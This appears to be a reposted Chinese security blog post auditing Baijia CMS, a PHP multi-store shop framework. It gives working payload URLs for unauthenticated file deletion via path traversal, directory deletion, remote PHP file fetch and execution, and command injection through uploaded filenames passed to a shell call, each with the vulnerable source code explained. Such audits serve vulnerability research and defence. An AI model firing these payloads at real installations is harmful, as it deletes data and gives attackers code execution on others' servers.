记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

百家cms代码审计

2020-04-14 11:39

之前看到有师傅在讨论,后台的正常功能被恶意利用,算不算漏洞。
我个人理解,能够造成非预期结果的,便是漏洞。
可能会有很多师傅跟我想法不同,欢迎友好讨论
求同存异,以后介绍时分开漏洞和姿势之类。

网站介绍

百家CMS微商城是一款免费开源的面向对象的多店铺多用户微商城PHP开发框架,创建于2014年6月,遵循Apache Licence2开源协议发布,是为了快速简化企业微商城应用开发、帮助微商企业快速赚钱而诞生的。

官网

建站

手动创建数据库bjcms

配置后完成安装

漏洞复现

任意文件删除
# payload
# 不需要后台权限
# 只能删除文件,不能删除文件夹

http://127.0.0.1/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../qwe.txt

设置里需要选择本地,否则删除的不是本地文件

先在根目录下创建qwe.txt作为测试文件

访问payload

查看文件,已经被删除

任意路径删除
# 需要后台权限
# 只能删除路径
http://127.0.0.1//index.php?mod=site&act=manager&do=database&op=delete&id=Li4vLi4vdGVzdA==&beid=1

根目录下创建test文件夹,里面有内容为123的test.txt文件

访问payload
将参数转为base64并方位payload


查看文件夹,已被删除

远程文件上传

我也不知道叫什么好

# 需要后台权限
http://127.0.0.1/index.php?mod=web&do=file&m=public&op=fetch&url=http://xx.xx.xx.xx/test/test.php

远程服务器起一个/test/test.php,内容为<?php echo "<?php phpinfo();";

访问payload,得到路径

访问路径,执行代码

查看本地文件

RCE
# 需要后台权限
http://127.0.0.1/index.php?mod=site&act=weixin&do=setting&beid=1

首先需要在设置里将图片缩放打开

本地创建&命令&.txt格式的文件

访问payload,并进行上传

命令执行

代码审计

代码结构
addons     插件
api 接口
assets 静态文件
attachment 上传目录
cache 缓存目录
config 系统文件
include 系统文件
system 后端代码
任意文件删除
/system/eshop/core/mobile/util/uploader.php

......
elseif ($operation == 'remove') {
$file = $_GPC['file'];
file_delete($file);
show_json(1);
}
......

file的值为GET获取的参数,跟进

function file_delete($file_relative_path) {

if(empty($file_relative_path)) {
return true;
}

$settings=globaSystemSetting();
if(!empty($settings['system_isnetattach']))
{
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
$ftp=new baijiacms_ftp();
if (true === $ftp->connect()) {
if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
return true;
} else {
return false;
}
} else {
return false;
}
}
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
$oss=new baijiacms_oss();
$oss->deletefile($file_relative_path);
return true;
}
}else
{
if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
return true;
}

}
return true;
}

$settings['system_isnetattach']的即为上文中的本地,ftp或者oss,如果本地,经过is_file的判断后,直接调用unlink删除

任意路径删除
/system/manager/class/web/database.php

if($operation=='delete')
{
$d = base64_decode($_GP['id']);

$path = WEB_ROOT . '/config/data_backup/';
if(is_dir($path . $d)) {
rmdirs($path . $d);
message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
}
}

原本用于删除数据库的备份,没有做过滤,导致任意删除路径

远程文件上传
/system/public/class/web/file.php

if ($do == 'fetch') {
$url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
if (is_error($file)) {
$result['message'] = $file['message'];
die(json_encode($result));
}

}

url为GET读取参数,跟进

function fetch_net_file_upload($url) {
$url = trim($url);


$extention = pathinfo($url,PATHINFO_EXTENSION );
$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');

mkdirs(WEB_ROOT . $path . $extpath);
do {
$filename = random(15) . ".{$extention}";
} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));



$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
$file_relative_path = $extpath. $filename;
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
$result['message'] = '提取失败.';
return $result;
}
$file_full_path = WEB_ROOT .$path . $extpath. $filename;
return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}

利用pathinfo获取后缀,与随机数拼接为文件名,将读取的文件内容写入目录下,最后将路径信息返回

RCE
/system/weixin/class/web/setting.php

......
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
$extention=strtolower($extention);
if($extention=='txt') {
$substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
if(empty( $substr)) {
$substr="/";
}
$verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";

//file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);

file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);

if($verify_root!=WEB_ROOT."/") {
copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
}

$cfg['weixin_hasverify']=$file['name'];
}
......

跟进file_save函数

function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{

$settings=globaSystemSetting();

if(!file_move($file_tmp_name, $file_full_path)) {
return error(-1, '保存上传文件失败');
}
if(!empty($settings['image_compress_openscale']))
{

$scal=$settings['image_compress_scale'];
$quality_command='';
if(intval($scal)>0)
{
$quality_command=' -quality '.intval($scal);
}
system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
}
......

$settings['image_compress_openscale']即为是否缩放,经过判断后,直接将文件名传入system函数中导致RCE,上文的远程文件中,也调用了file_save函数,但文件名为随机数生成,导致无法调用

姿势

数据库泄露

后台可进行备份,格式为/随机数文件名/baijiacms-1.sql,文件名可查看,导致泄露


知识来源: xz.aliyun.com/t/7542

阅读:31279 | 评论:0 | 标签:cms 审计

想收藏或者和大家分享这篇好文章→复制链接地址

“百家cms代码审计”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云